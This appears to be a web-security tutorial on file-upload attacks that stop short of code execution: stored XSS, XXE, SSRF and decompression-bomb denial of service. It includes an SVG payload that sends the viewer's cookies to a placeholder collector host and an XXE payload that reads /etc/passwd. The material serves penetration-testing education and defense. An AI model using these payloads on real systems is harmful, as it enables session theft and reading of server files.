Non-RCE File Upload Exploits: XSS, XXE, SSRF, DoS

Not every upload reaches code execution, but that does not make it safe. When a web shell is out of reach, an upload still produces real findings based on what the server does with the file when it is read: served inline, parsed as a document, fetched for a preview, or decompressed. Each of those behaviors is its own attack. This is why "images only" is rarely the end of the conversation.

Stored XSS via SVG or HTML

If the server serves your upload inline in the browser, markup in it runs. SVG is the classic vehicle, because it is XML that can carry script and is often accepted as an image:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg xmlns="http://www.w3.org/2000/svg">
  <script>new Image().src='https://collector.example/?c='+document.cookie</script>
</svg>

Served inline, that SVG executes in the viewer's session, which is stored XSS. An uploaded HTML file served inline does the same. Because it fires for everyone who views the file, including privileged users, it is a strong route to session theft.

XXE via a parsed document or SVG

Office documents (.docx, .xlsx) are zip archives of XML, and SVG is XML, so an upload that the server parses can carry an external entity:

<?xml version="1.0"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg"><text x="0" y="20">&xxe;</text></svg>

For an Office file, you inject the external entity into one of the internal XML parts, re-zip, and upload. If the server's parser resolves external entities, it reads the targeted file (or makes a network request) and renders the entity back wherever the text appears. That is XXE through an upload.

SSRF from a server-side fetch or preview

If the upload feature fetches a URL, or generates a server-side preview or thumbnail of your file, you may be able to steer the server into making requests. A file format that references an external resource, or an upload-by-URL option, turns into server-side request forgery, reaching internal services and cloud metadata the same way a classic SSRF does.

Denial of service via decompression bombs

When the server decompresses or expands your upload, a small crafted file can blow up into an enormous one. A zip bomb or an image with absurd declared dimensions forces the server to allocate far more memory or disk than it has, exhausting resources. It is a cheap denial of service from a single small upload.

When images-only still gets you a finding

The theme across all of these: validation that only confirms "this is an image" misses the attacks that do not need code execution. An SVG passes as an image and carries script or an entity. A document is parsed and resolves an entity. A preview triggers a fetch. A compressed file expands. So even a strict image check leaves stored XSS, XXE, SSRF, and DoS on the table. The defenses that actually close these, re-encoding, disabling external entities, and serving uploads as attachments, are in preventing upload flaws.

Non-RCE exploits are how you turn a "safe" upload into a real finding. Practice landing one on a free live target.